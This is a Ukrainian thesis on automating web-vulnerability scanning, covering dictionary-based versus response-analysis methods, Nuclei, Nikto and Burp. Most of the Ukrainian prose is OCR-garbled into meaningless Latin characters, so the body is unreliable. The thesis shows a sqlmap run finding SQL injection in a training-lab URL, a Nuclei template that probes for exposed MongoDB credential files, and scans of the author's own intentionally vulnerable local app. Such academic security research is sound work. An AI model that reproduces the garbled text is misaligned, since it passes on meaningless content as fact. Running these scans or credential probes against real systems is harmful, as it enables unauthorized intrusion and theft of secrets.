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PEDEPAT

OO6csr podotu 52 cTopiHok, 19 imoctpauiid, 18 mxepen gireparypu.

MeTo10 AUIJIOMHOI Po00TH € aHami3 Ta po3poOKa METOAIB aBTOMAaTH3aIlli Ta
1HTerpatis iX y nporpamy JJisi CKAaHyBaHHSI.

O0’exT n0CiIKEHHSI: BPa3JIMBOCT1 Y B€0-3aCTOCYHKAX, CTBOPEHUX 3 HYJSI 200
Ha ocHOBI CMS.

IIpeamer nociigskeHHsl: METOM aBTOMaTH3allli CKaHyBaHHS BE0-3aCTOCYHKY
Ha BPa3JIMBOCTI.

Y naniii po6oTti Oysm Joc/iIKeHHI ICHYIO4l METOIM aBTOMAarHU3alli MOLIyKYy
Bpa3IMBOCTEH y Be0-3aCTOCYHKaX, pO3poOJeHI HOBI METOAW Ta IHTETpaIlis

JOCJIIIKEHOT pOOOTH y pOoTrpamMy JiJisi CKAaHYBaHHSI.

Kaw4voBi caoBa: AY/JIUT, BEB-FACTOCYHOK, IIOIIYK
BPARJIMBOCTEN, ABTOMATU3ALILS, PO3POBKA I13.



ABSTRACT

The qualifying paper contains 52 pages, 19 pictures, 18 sources.

The purpose of the work is the analysis and development of automation
methods and their integration into the scanning program.

The object of research: vulnerabilities in new web applications or based on
CMS.

Subject of research: methods of automation of web application scanning for
vulnerabilities.

In this work, the existing methods of automating the search for vulnerabilities
in web applications were researched, new methods were developed and the research

was integrated into a scanning program.

Keywords: AUDIT, WEB APPLICATION, SEARCH FOR
VULNERABILITIES, AUTOMATION, SOFTWARE DEVELOPMENT.
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ITEPEJIIK YMOBHHUX IIO3HAYEHb, CUMBOJIIB, OANHUIb,
CKOPOYEHbD I TEPMIHIB

1. XSS — (Cross-Site Scripting) — MiXCAUTOBHI CKPUITHHI, THI aTakud Ha BeO-

3d4CTOCYHOK;

2. CSRF — (Cross-Site request forgery) — MixkcaiiToBa MmiJipoOKa 3amuTy, TUI aTaKu

Ha Be0-3aCTOCYHOK;
3. Open redirect — BiKpUTE TIEpEHANPABICHHS, THUI aTaKu Ha BEO-3aCTOCYHOK;
4. JavaScript, PHP, Python, HTML, SQLite — MoBu mporpamyBaHHS;

5. Cloud storage and apps — wicus 30epiranHsl Ta 3amycka J0JIaTKiB Ha XMapHHUX

cepBepax;

6. Iurerpamis MeTogy B Mporpamy — aHaji3 MeToAa Ta HOro peamizamis y

POrpaMHOMY KOJIi;
7. Xenepu — (Headers) — 3aromoBku HTTP-3anuTy;

8. False Positive — momuikoBuii a00 BipHMI 3BIT IPO 3HANJIEHY Bpa3iIUBICTh, 32

BIJICYTHOCTI MOBHOT iH(opMaIlii y ckaHepa Ha 11 HiATBEepAKEHHS;

9. Sensitive Data Exposure — Bukpajienns abo moaudikairisi cekpeTHoi iHpopMmariii,

10. Security Misconfiguration — MickoH}Iryparii HaJalITyBaHHS CepBepy Ta
CEpBICIB;
11. Using Components with Known Vulnerabilities — Buxopucranus I13 3i

3HaﬁﬂeHHMH BpPa3JIMBOCTAMU,

12. Insufficient Logging & Monitoring — HecTaua JIOTYBaHHS Ta MOHITOPUHTY

CUCTEMU;
13. Injection — 11’ exuist npu BunoBHeHi koxy (PHP, JavaScript, HTML, SQL);

14. XXE — in’ekis mpu 06po611i XML koxy;



15. Broken Authentication — HeoJIKHM Mpu ayTeHTU(DIKAIllT KOpUCTyBaua;
16. Broken Access Control — HEKOpEKTHUN KOHTPOJIb IOCTYIY;

17. Insecure Deserializations — HeOe3meuHa gecepiani3aiiisi, IPUBOIUTEL IO 1H €KIT
2

3JIOBMHCHOTO KOJy Y JIOTIKY pOOOTH 3aCTOCYHKA;
18. Spider — ckanep jutst mONTyKy nmocuiianb y Beb-3actocynky (Web Crawler);

19. Ileiimoanq — Payload — kopucHa Harpy3ka y mapaMeTpi Ha B€0-3aCTOCYHOK;

20. Clickjacking — KinkmkekiHr — mniMiHa NPU3HAYEHOTO MJisi KOPUCTyBadya
iHTEpdEiicy;

21. CMS — (Content Management System) — cucTeMa yIpaBIiHHS KOHTEHTOM
Calry;

22. Open Source — BIAKpUTHH Ta OC3KOIMITUBHUM JIJIs1 KOPUCTYBAHHS KOJI.



BCTYII

AKTyanbHICTh po0OOTH moJsiArae y mnoTrpedl BUPIMIEHHS NpoOIeMHU
HE3aXMIIEHOCTI Be0-3aCTOCYHKIB, Kl PO3POOISIOTHCS 3 HYJs abo Ha ocHOBI CMS.
MeToro Ta 3aBHaHHSM JOCHIIDKEHHS IUIJIOMHOI pOOOTH € aHali3 Ta po3poOka
METOJ[IB aBTOMATH3aIlll Ta I1HTEerpamis iX y mporpamy s ckaHyBaHHsS. OO0’ekT
TOCHIDKCHHS: BPa3JIMBOCTI Y Be0-3aCTOCYHKaX, CTBOPEHUX 3 HyJs a00 Ha OCHOBI
CMS. IlpeaMer mociiJKEHHS: METOAM aBTOMAaTH3allli CKaHyBaHHS BE0-3aCTOCYHKY

Ha BPa3JUBOCTI.

Meronu MOCHIDKEHHS: aHalli3 METOMAIB JIOCITIKEHHS Be0-3aCTOCYHKY Ha
BPa3JIMBOCTI, aHaNI3 BIJIKPUTUX Ta 3aKPUTUX MPOTrpaM CKaHyBaHHSA, PO3poOKa HOBUX
Ta TIOKpPAlIeHHsS ICHYIOYMX METO/IB, IHTErpamis JOCIHiKEHOI POOOTH Yy TOTOBY
nporpamy. HaykoBa HOBU3Ha oOJep)KaHUX pe3yJbTaTiB JO3BOJSE PO3POOUTH Ta
HNOKpPALIUTH METOAM aBTOMAaTH3allli TECTyBaHHs BEO-3aCTOCYHKIB Ha Bpa3IUBOCTI.
[IpakTHyHUM 3HAYEHHSM OJIepKaHUX PE3YJIbTATIB € IHTErpallist J0CIHKEHUX METO/IIB

y Iporpamy il CKaHyBaHHSI.
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1 TEOPETUYHI METOJIU ABTOMATH3ALII HOIIYKY
BPA3JIUBOCTEN

1.1 3araanHi MeTOIH

3aranpHUN METOJ| aBTOMaTH3allli TeCTyBaHHA - HaOlp mpaBWi IS 3alUTy Ta
HaO01p MpaBWI AJis aHaI3y BIAMOBIAl. TakuM YHHOM MporpaMa CKaHyBaHHSI 00poOIise
BX1JIHI JIaH1 JJIsl 3aIIUTY, BUKOHY€E HOT0, Ta aHaJi3y€e OTpUMaHy BiAnoBiab. OnHak meit
METOJ] Peaji3yeThCsl PISHUMU NUISXaMH Ta Ma€ Pi3Hy €PeKTUBHICTh. TakoX OmHA 3
METOJIMK — aHalli3 OTPUMAHOTO BMICTY BeO-CTOPIHOK Ta 3pIBHIOBaHHS HOTO IIOJ0
m1a0I0HIB JESKUX BEO-Bpa3IMBOCTE. Y HACTyMHOMY PO3ALII MU MOOAYUMO PI3HHMA
OiX11 10 peani3alli y BIAKPUTHX Ta 3aKPUTHUX CKAHEpax, OJHAK 3apa3 MU MOXKEMO

BiJIOKPEMUTH JIB1 TOJIOBHI Pi3HMIII:

* Meton nepebopy

Leii meTon € HAOLIBII PO3NOBCIOMKEHUM. [Iporpama Mae CIIOBHUK 3 TaHUMH
U 3amuTy (SK MPOCTI MOCHJIAHHSA, TaK 1 MOBHUM omHC XenepiB abo peryisipHuX
BUPaXEHb) Ta aJTOPUTM aHAJI3Y BIJMOBII (TAKOXK, SIK IPOCTUM KO BiamoBial - 200
npu iCHyBaH1 pycypcy, 404 mpu BiJICYTHOCTI, TaK 1 OMHUC PEryIsIpPHUM BUPAKEHHSIM
1010 HEOOX1AHOTO BMICTY Y BiJIIOBI/I1).

Ha pucynky 1.1 HaBegeHo mpuKiIag €IEMEHTY CIOBHUKA JUIsl BPa3JIMBOCTI,
3HAMIEHOI0 MHOIO TIPH TeCTyBaHI BeO-3acToCcyHKy. CkaHep oOpoOssie 3arojloOBKU B
daiini Ta oTpuMye pi3Hy 1H(pOpMaIIitO JIIT BUKOHAHHS 3aIlUTy, aHAJI3y BIAMOBIII Ta
CTBOpEHHs 3BiTY. JlaHuii (hpopMar onucy Bpas3iMBOCTI BUKOPUCTOBYETHCS Open-source
mporpamoro nuclei, ogHaK € XOpOIIMM NPHUKIATOM MOXJIHUBOCTEH CTBOPEHHS
€JIEMEHTIB /I CJIOBHHKIB. 3arosioBku «id» Ta «info» BHUKOPUCTOBYIOTHCS IS
CTBOpEHHsI 3BiTy. B «requests» BiZOyBa€eThCsi OMHMC 3alUTy — METOJ Ta MNUIAX, 1
«matchers» — anropuT™m aHamnizy BiANOBiI (y JAHOMY BHIIAJIKy MEPEBIPSETHCA KOA

BiAnoB1A1 200, TOOTO HAsBHICTH pECypCy 3a MocuiaaHHAM). /[ onucy 3amnury Takox
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BUKOPHCTOBYIOTBCSI XEJSpH Ta KOHTEHT, a Yy BIJIMOBiI MOXHO 3HaXOAUTH

peryIsipHUMHU BUPKCHHSIMH HEOOX1TH1 JaHi, JJI aHaIi3y Ha HasBHICTb BPa3JIMBOCTI.

matrics-logs.yami

id: metrics-log-file

info:
name: Publicly accessible metrics—-log file
author: lekssik

severity: low
tags: logs

pe: status
status:

— 200

Pucynoxk 1.1 — Ilpukinaz enemMeHTy CIOBHUKA IJis 31HCHIOBAHHS TECTYBaHHS

METO/IOM Ttepebopy

ITIpu nocmimxkeni crangapry OWASP Top-10, OyB BusiBneHW#d Iie OIWH HETOJIK
METO/Iy TPOCTOro Iepedopy - CTAaTUYHICTh POOOTH MPOTPaMH Ta HEMOXKJIUBICTH
JTUHAMIYHOTO aHal3y BCEpeauHI Be0-3aCTOCYHKY. TakKMM YHHOM, OKPEMO B3STHH

CKaHEp 3 CIOBHMKOM Ma€ MOXJIMBICTh 3HaXOJIUTH Takl 3arpo3u, sik: Sensitive Data
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Exposure, Security Misconfiguration, Using Components with Known

Vulnerabilities, Insufficient Logging & Monitoring. OnHak Taki Bpa3JIMBOCTI, K

Injection, Broken Authentication, Broken Access Control, XSS, XXE, Insecure
Deserializations — € nMHaMI9YHHUMH y Be0-3aCTOCYHKax (MICIS iX 3HAXOKEHHS HE €
OJIHAKOBUMHU JJIs1 BCix). JJIsi BUpIMIEHHS IIbOTO HEIOJIKY - JeAKI CKaHepHu
BUKOPHUCTOBYIOTh spider Ta pi3HI CIOBHUKHU JUIsl PI3HUX THUIIIB BpazinuBocTeil. Taka
MOJICJIb BHPIIICHHS aBTOMAaTH3allli TECTyBaHHS € HaWKpaIlow, OJHAK MOoTpedye
Oarato pecypciB Ta yacy — IO 1 3aJIUIIAETHCS 11 OCHOBHUM HEIOTIKOM.

Uum Oinbllie CIOBHUKH 11 BUKOPHCTAHHs, THM OLUIbIIE Yacy Iporpama Oyje
npaioBaTu. I[lpu 301MbIIEHHI MIBUJIKOCTI POOOTH TIpOrpaMH - ICHYE 3arposa
3yNIMHUTHU poOOTY cepBepa Yepe3 HaBaHTaXKEHHsI a00 oTpuMaru OJOKYBaHHS AOCTYITY

710 cepBepa.

* MeTton aHamizy BiAMOBIII

CkaHyBaHHSI TIPOXOIUTHh «IHTEIEKTyalbHHM» CIOCOOOM — TMporpaMa Mae
aNrOpUTM pearyBaHHA Ha pi3HI BIAMOBiAI cepBepy Ta Mia0Upae BEKTOpHU
excruryaraitii. Ileit MeTos BHUKOPHCTOBYETBCS MJIS 3HAXOMKEHHS BpPA3IHBOCTEM,
JIOKAIlisl SIKUX y Be0-3aCTOCYHKY € JWHAMIYHOK 1 HE TMOTpeOye BHKOHAHHS YCIX
3amMTiB, sIKI OyayTh B ckaHyBaHl. (s mpukiagy po3misiHEMO poOOTy HpOorpamu
sqlmap.

Xoda KOIl IPOrpaMH € BIIKPUTUM, Y BIIKPUTOMY JOCTYIIl HEMAa€ JOCTYITHUX
MOSICHEHb PO3POOHUKIB OO0 aNropuT™My ii poOoTu. OmHaK 3aBASKH 3BITHOCTI
IpOrpaMu MpU BUKOHAHI, MM MaEMO MOXJIMBICTH 1Ie mobauntu. [Iporpama mae Habip
nennoaniB Juisi tectyBaHHs Ha SQL injection — BHKOpHCTOBYBaHa jaradasza, ii
Bepcid, TexHika ekcruryaramii. Ilpu False Positive a6o False Negative Biamosiai
cepBepa, mporpama jga€ BHOIp TPOAOBKUTH TECTyBaHHS ab0 BHUKOPHCTOBYBATH
3HaineHy iHdopmarlito. TakuM YMHOM KUIBKICTh 3allUTIB 3MEHIIYThCS, MIporpama He
CTBOPIOE BEJIMKOTO HaBaHTAKEHHS HA 1HQPACTPYKTYpy cepBepa Ta 3MEHIIYEThCS dac

TectyBaHHs. [IpuKkiaa BUKOHaHHS MpOTrpaMu 300paskeHHi Ha pUCYHKY 1.2.
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olexandropanasiuk@mb-pro sqlmap % python3 sqlmap.py -u 'https://ac3blf811e2ac8dc80e11231002100ba.web-security-academy.net/filter?category=Pets’

{1.5.3.19#dev}

=t =
1-Iv... _|" http://sqlmap.org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer
s assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:23:03 /2021-85-31/

[17:23:03] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('session=s1z6KKPRpyR...rywwkKSDyL'). Do you want to use those [Y/n] y
1 checking if the target is protected by some kind of WAF/IPS
] testing if the target URL content is stable
] target URL content is stable
] testing if GET parameter 'category' is dynamic
] GET parameter 'category' appears to be dynami
WARNING] heuristic (basic) test shows that GET pa: ter 'category' might not be injectable
] testing for SQL injection on GET parameter egory
] testing 'AND boolean-based blind — WHERE or HAVING clause'
NING] reflective value(s) found and filtering out
[INFO] GET parameter 'category' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Fur")
] heuristic (extended) test shows that the back-end DBMS could be 'PostgreSQL
d DBMS is 'PostgreSQL'. Do you want to skip test payloads spec for other DBMSes? [Y/n] y
do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [¥/n] y
testing 'PostgreSQL AND error-b: WHERE or HAVING clause
testing 'PostgreSQL OR error-based — WHERE or HAVING clause
testing 'PostgreSQL error-based — Parameter replace'
testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)'
testing 'Generic inline queries'
testing 'PostgreSQL inline queries
testing 'PostgreSQL > 8.1 stacked queries (comment)'
'PostgreSQL > 8.1 stacked queries
stgreSQL stacked queries (heavy query — comment)'
‘category' appears to be 'PostgreSQL stacked queries (heavy query - comment)' injectable
SQL > 8.1 AND time-based blind
ategory' appears to be 'PostgresSQL > 8.1 AND time-based blind' injectable
testing UNION query (NULL) - 1 to 20 columns
automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query inj

] target URL appears to have 3 columns in query
NFO] GET parameter 'category' is 'Generic UNION query (NULL) - 1 to 28 columns' injectable

NING] HTTP error codes detected during run:
erver Error) - 39 times
1 user quit

PucyHnok 1.2 — Bukonanus nporpamu sqlmap

Ie#t MmeTon Oyae BUKOPUCTAHHUM Y OKPEMOMY MOJTYJIl peai3oBaHoi mporpamu Spider.

1.2 Peautizauisn y ckanepax

Y mpoMmy migpo3aimi OymyTh pO3JISIHYTI METOAM peaiizallii aBToMarHh3allii
MOIIIYKY BpPa3MBOCTEN Be0-3aCTOCYHKY y Haille(heKTUBHIIINX CKaHEpax. Y MUHYIOMY
po3aiai Oynau omMcaHl METOAu mepedopy Ta aHajizy BIAMOBIMI cCepBepa Ha 3aIluT.
binblie yacTuHa ckaHepiB peanidye e KOMOIHOBaHHM CIIOCOOOM — Yy Mporpami
MICTUThCA QYHKITIOHANT Spider, sIKUH PO3ITUPIOE MOKITUBOCTI MOIIYKY BPa3JIMBOCTEH.

Jlyist kpatoi AeMoHCTpallii, Ckauepy OyyTh MOAUICHI Ha KaTeropii.

» (Ckanepu, 5IKi BAKOPUCTOBYIOTh METO/I IIEPEOOPY 3a CIIOBHUKOM:

Nuclei, Nikto



14
Ili ckaHepu BUKOPUCTOBYIOTH CIIOBHHUKH I TEPEBIPKM HASBHOCTI BPA3IHBUX
daiiniB, Bpa3auBUX KoHdIrypaimid cepBepa Ta 3acTapijoro MNPOrpamMHOTO
3a0e3neueHHd. [Ipy HasgBHOCTI BEJNMKOI KIIBKOCTI KOH(ITypauii s HUX CKaHepiB,
I MOXIJIUBICTh € OCHOBHOI PI3HHMICIO C 1HIIOI CTOpoHU. Y Tei uac sik Nikto
BUKOPHUCTOBY€E HAsBHI CIOBHUKH (IporpamMa € open-source, TOMy € MOXKJIUBICTbH
penaktyBatu ix abo monudikyBaru nporpamy), Nuclei BUKOPUCTOBYE 1HIIY TEXHIKY.
Cama mporpamMa — I1¢ TUTbKHM CKaHEp, KU BHKOPUCTOBYE IAOJIOHU IS 3aIUTy Ta
aHanizy BiANOBiAl. ICHye JOKymeHTallisi JUisi CTBOPEHHS IUX IIAa0JOHIB, a TaKOXK
rOTOB1 IIA0JIOHH, $KI PEryJsipHO OHOBIIOIOTHCS CHIUIBHOTOK TECTEPIB BeO-
3aCTOCYHKIB. TakMM YMHOM, Y KOXKHOTO € MOXJIMBICTH CTBOPHUTH IIi IIA0JIOHU IS
CBOIX MOTpPeO Ta BHUSBIICHHS BPA3JIMBOCTEH y CTaTHYHUX MICIAX. Y MHHYIOMY
po3auai OyB MpuUKIaZ CTBOPEHOTO MHOIO IIA0JIOHA JJIsi OMUCY BPa3JIMBOCTI KaTeropii
Sensitive Data Exposure, sikuii He OyB paHillle ONMCAaHUH Y ICHYIOUUX M1a0I0HaX.

JIyist Kpamoro po3yMiHHS PEBOJIOLIMHOTO MIAXOAY 10 METOAy mepedopy, Ha
Pucynky 1.3 300pakeHo omuc BpaziauBocTi Sensitive Data Exposure y cepsici
MongoDB. 3aBasku rHy4KHUM METOJaM ONHUCY 3allUTy Ta aHaji3y BIAMOBIAI cepBepa
3’SBIISIETHCSI MOXKIIMBICTh CTBOPIOBATH Pi3HI IAOJIOHHU, SIKI OyIyTh OMHCYBaTH ycCi Iii
JUISI BUSIBJICHHS BPA3JIMBOCTI. Y JaHOMY NPHKIaAl MICTSATHCS JBa TMOCHIIAHHS, 3a
SIKUMH MO>Ke 3HaxXoauTucs Qaiin 3 cekpetHoro iHdopmarliiero. OaHak HasBHICTh 1IbOTO
daiiny (xon Biamosigi 200) He € 00OB’S3KOBOIO, ISl HASBHOCTI Bpa3auBOCTi. s
BOTO OMHUCY€ThbCA THM 1HGOpMAIi Ta 1 BMICT y BIANOBIAI Bil cepBepa - TaKUM
yuHoM False Positive pesynbrar He Oyae J0CSITHYTHH.

MeTtoauka nepebopy 3a CIIOBHUKOM BHKOPHCTOBYETHCS y KOXKHOMY CKaHeEpi,
OCKUIBKM 1I€ JIOTIOMOTAa€ 3HaWTH BIAKpUTI dailii 3 CEKPEeTHOW i1H(opMalli€ro,
3acrapiie [13 abo BpasmuBi KoH(piryparii cepBepa - MICIS ITUX BPA3IHBOCTEH €
crarmuaumu. Ha mpukiani ma6mnouiB st mporpamu Nuclei Mu MoxxemMo 6a4uTH, 1110
B CJIOBHHKY MOXXYTh OyTH HE MPOCTi MOCUJIAHHS, @ TTOBHUM OIMKC 3alMUTY Ta BiAMOBIII
cepBepa, 0 PO3UIUPIOE MOXJIMBOCTI. OHAK HEIONIK 3JIMIIAETHCS — KUIBKICTh
3alUTIB JIJIs1 IOBHOTO mepebopy Oyae BETMKOIO AJisl MPOBEASHHS XOPOIIOro aHami3y

— Nuclei: 1500, Nikto: 7000.
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id: robomongo-credential

info:
name: MongoDB credential disclosure
author: geeknik
description: MongoDB credentials file used by RoboMongo
severity: high
tags: mongodb, robomongo,disclosure,config

requests:
- method: GET
path:
- "{{BaseURL}}/db/robomongo.json"
- "{{BaseURL}}/robomongo. json"

matchers—-condition: and
matchers:
- type: word
part: header
words:
- "application/json"

- type: word
words:
- "databaseName"
- "userName"
- "userPassword"
- "serverHost"
condition: and

- type: status
status:
- 200

Pucynok 1.3 — Ipuknaz ma6ioHy 3 OMMCOM BiMTOBITHOCTEHN

» CkaHepu, 5Kl BUKOPUCTOBYIOTh KOMOIHOBaH1 METOAM MEPeOOPyY Ta aHATI3Y:
Burp Scanner, OWASP ZAP, Acunetix
[{i ckaHepu BUKOPHCTOBYIOTh YC1 MOXKJIMBI METOAM JIJISl YCIIIIHOTO TECTYBAaHHS Ta
MalOTh KOHTEHT-MEHEDKMEHT CUCTEeMY 3BITyBaHHsA. I3 nux mporpam smme OWASP
ZAP € Oe3KOIITOBHOK JUIsi BUKOPUCTOBYBaHHS, Xoda (YyHKI[IOHAT MNPUOIU3HO
OJTHAKOBUH (JTZIEpOM Ha PUHKY SBISETHCS Acunetix, SKUi Mae OUIbIe MOKIUBOCTEH

ckaHyBaHHA . OlHaK y MEHE € MOXJIMBICTh TPOJAEMOHCTpYBaTH poboTy Burp Scanner.
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JJ1st Kpamoro po3yMiHHS aJrOpuTMy poOOTH IPOrpaMHu, s pO3pOOUB Mporpamy
3 ICHYIOUMMHM BPa3JIMBOCTSIMHU Ta MOMICTHUB 1i Ha JIOKAJbHOMY CEpBEpI - TAKUM YHHOM
MU 3Ha€EMO OOCSAT BPa3IMBOCTEH Ta MAEMO MOXKIJIMBICTH OAYUTH JIOTU cepBepy. Takox
el Be0-3aCTOCYHOK MH OyJIeMO BUKOPHCTOBYBAaTH AJIsL AOCTIIKEHHS MPOTpamMH, sKa
€ TMIPAKTUYHOIO0 YACTUHOIO POOOTH HAJl MOEIO TUIUIOMHOIO POOOTOIO.

PosrnsinemMo BpasznuBoCTI y po3pobieHidt mporpami - me XSS, DOM XSS,
CSRF, Open Redirect - o1 13 HalDOMyJISIPHIIIUX BPa3JIMBOCTEH y CydyacHHUX BeO-
3actocyHkax. KoxHa cropiHka BeO-3acTOCYHKY - nokymeHT Ha HTML, PHP a6o
JavaScript. Jlerani Bpa3nMBOCTEH, SK 1 METOAMU IX aBTOMATH30BAHOTO MONIYKY MH
TaKOXX PO3MISTHEMO Y APYTOMY PO3JLIIL.

[Ticast BBeACHS MOYATKOBOTO MOCHJIAHHS JJIsi CKAaHYBAaHHS, MPOrpaMa BCTABHOBIIOE
3’€JIHaHHS 3 3a7]aHO0 azipecoro. Jlami npaiftoe Spider - BiH peKypCUBHO 1HAECHTU(IKYE
yCl HasiBHI MMOCUJIAHHS, TAKUM YMHOM 30MpParodi JaHl JOKYMEHTH Ta iX BMICT

Last login: Thu May 27 22:15:22 on ttysee7

oleksandropanasiuk@MacBook-Pro-Oleksandr ~ % cd Desktop

oleksandropanasiuk@MacBook-Pro-Oleksandr Desktop % cd test-vuln-app

oleksandropanasiuk@MacBook-Pro-Oleksandr test-vuln-app % sh server.sh

PHP 7.3.24-(to be removed in future macOS) Development Server started at Mon May 31 20:30:10 2021

Listening on http://localhost:8001

Document root is /Users/oleksandropanasiuk/Desktop/test-vuln-app

Press Ctrl-C to quit.
May 31 20:30:41 2021] 127.
May 31 20:30:41 2021] 127.
May 31 20:30:43 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:09 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:10 2021] 127.
May 31 20:31:11 2021] 127.
May 31 20:31:11 2021] 127.
May 31 20:31:11 2021] 127.
May 31 20:31:11 2021] 127.
May 31 20:31:12 2021] 127.0.
May 31 20:31:12 2021] 127.0.0.
May 31 20:31:12 2021] 127.
May 31 20:31:12 2021] 127.

] 57639 [200]: /
(]
]
0
]
(]
(]
0
(]
(]
(]
0
0
0
0
0
(]
0
0
0
0
0
0
0
0
0
May 31 20:31:12 2021] 127.0.
0
0
(]
0
(]
0
(]
0
]
0
(]
0
]
0
]
0
(]
0
(]
0
(]
0
0
0
0

57640 [200]: /sensitive.js

57644 [404]: /favicon.ico - No such file or directory
57650 Invalid request (Unsupported SSL request)
57651 Invalid request (Unsupported SSL request)
57652 Invalid request (Unsupported SSL request)
57653 Invalid request (Unsupported SSL request)
57654 [404]: /robots.txt - No such file or directory
57655 [200]: /

57656 [200]: /sensitive.js

57657 Invalid request (Unsupported SSL request)
57658 Invalid request (Unsupported SSL request)
57659 Invalid request (Unsupported SSL request)
57660 Invalid request (Unsupported SSL request)
57661 [200]: /

57662 [200]: /csrf.html

57663 [200]: /

57664 [200]: /dom_xss.html

57665 [200]: /

57666 [200]: /index.php

57667 [200]: /

157668 [200]: /open_redirect.php

57669 [200]: /

57670 [200]: /sensitive.js

157671 [200]: /

1567672 [200]: /xss.php

:57673 [200]: /xss.php?name=Kitty

167674 [200]: /

157675 [200]: /csrf.html

167676 [200]: /csrf.html

157677 [200]: /

57678 [200]: /dom_xss.html

57679 [200]1: /dom_xss.html?search=919889

157680 [404]: /resources/images/tracker.gif?searchTerms=919889 - No such file or directory
157681 [200]: /

157682 [200]: /open_redirect.php

:57683 [200]: /open_redirect.php?url=/index.php
157684 [200]: /

157685 [200]: /dom_xss.html

157686 [200]: /dom_xss.html?search=tji5kywpgr877j1lbepuiyiue8f1ls2ujk8
157687 [404]: /resources/images/tracker.gif?searchTerms=tji5kywpgr877jlb@puiyiue8f1ls2ujk8 - No such file or directory
157688 [200]: /

:57689 [200]: /index.php

157690 [200]: /csrf.html

157691 [200]: /

:57692 [200]: /index.php

:57693 [200]1: /dom_xss.html

157694 [200]: /

:57695 [200]: /index.php

:57696 [200]: /index.php

157697 [200]: /

157698 [2001: /index.php

P OO OO OOOOOOOOOOOO®
RRRRPRRRRRRRRRPRRBRRRERRRRRR

May 31 20:31:13 2021] 127.
May 31 20:31:13 2021] 127.
May 31 20:31:13 2021] 127.
May 31 20:31:13 2021] 127.
May 31 20:31:13 2021] 127.0.
May 31 20:31:13 2021] 127.0.0.
May 31 20:31:13 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:14 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:15 2021] 127.0.0.
May 31 20:31:16 2021] 127.0.0.
May 31 20:31:16 2021] 127.0.0.
May 31 20:31:16 2021] 127.0.0.

31 20:31:16 2021] 127.0.0.

31 20:31:16 2021] 127.0.0.

SooocO0S

Pucynok 1.4 - 3’eqHaHHs 3 cepBEepOM, PEKYPCUBHUM 301p MOCUIaHb Ta BMICTY
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Jlami cepBep aHaji3y€e BMICT CTOPIHOK Ta CTBOPIOE 3BITH IOA0 MPUCYTHIX HA
HUX BpasnuBocTei. Sk nokasano Ha Pucynky 1.5, DOM XSS, CSRF ra Clickjacking

Oynu 3HAKIEHI.

[ NON J Issue activity

Issue activity @ »

7 Fitter (High ) (Medium ) (Low ) (Info Certain ) ( Firm ) ( Tentative B | search.

# Task Time Action Issue type Host Path Insertion point Severity CozI

9 3 20:31:34 31 May 2021 Issue found ! Cross-site scripting (DOM-based) http://localhost:8001 /dom_xss.html High Firm
8 3 20:31:31 31 May 2021 Issue found © Cross-site scripting (reflected) http://localhost:8001 /xss.php name parameter High Certain
1 3 20:31:22 31 May 2021 Issue found © Unencrypted communications http://localhost:8001 / Low Certain
17 3 20:31:43 31 May 2021 Issue found Cross-site request forgery http://localhost:8001 /csrf.html Information Tentatiy,
5 3 20:31:24 31 May 2021 Issue found i’ Frameable response (potential Clickjacki http: -8001 Jopen_redirect.php Information Firm  ©
4 3 20:31:24 31 May 2021 Issue found i Frameable response (potential Clickjackit http: :8001 /xss.php Information Firm &5
3 3 20:31:24 31 May 2021 Issue found i Frameable response (potential Clickjackit http: :8001 /index.php Information Firm [
2 3 20:31:23 31 May 2021 Issue found i Frameable response (potential Clickjackit P 001 / Information Firm
16 3 20:31:41 31 May 2021 Issue found @ Input returned in response (reflected) http://localhost:8001 /index.php URL path filename Information Certain
15 3 20:31:38 31 May 2021 Issue found @ Input returned in response (reflected) http://localhost:8001 /open_redirect.php URL path filename Information Certain
14 3 20:31:38 31 May 2021 Issue found @ Input returned in response (reflected) http: :8001 /robots.txt URL path flename Information Certain,
13 3 20:31:38 31 May 2021 Issue found © Input returned in response ( ) http: :8001 /xss.php URL path filename Information Certain—
12 3 20:31:37 31 May 2021 Issue found @ Input returned in response ( ) htp: :8001 /dom_xss.html URL path filename Information Certain
11 3 20:31:36 31 May 2021 Issue found © Input returned in response ) htp: :8001 Jesrf.html URL path filename Information Certain
10 3 20:31:35 31 May 2021 Issue found @ Input returned in response ( ) htp: :8001 /sensitive.js URL path filename Information Certain|
7 3 20:31:30 31 May 2021 Issue found © Input returned in response | http: :8001 /xss.php name parameter Information Certain'
6 3 20:31:29 31 May 2021 Issue found © Input returned in response | http: :8001 /robots.txt name of an arbitrarily sup... Information Certain

Pucynok 1.5 - 3aranbHuii 3BIT mporpamMu 010 3HAMICHUX BPa3IUBOCTEH

Lleii aHami3 OPOXOAWTH UUISIXOM 3pPIBHIOBAaHHSA BMICTY BEO-CTOPIHOK 3
mabjioHaMu JIeSIKUX BpaznuBocTei. OnHAK BKaszaHi BHIe BpasauBocTi € False-
Positive, ockibku mporpama HEe Ma€ MOXJIMBOCTI JIOBECTH iX MPHUCYTHICTH y BeO-
3aCTOCYHKY 1H(popMaitieto, sikoro BoHa Bojoaie — CSRF araka moxe OyTtu
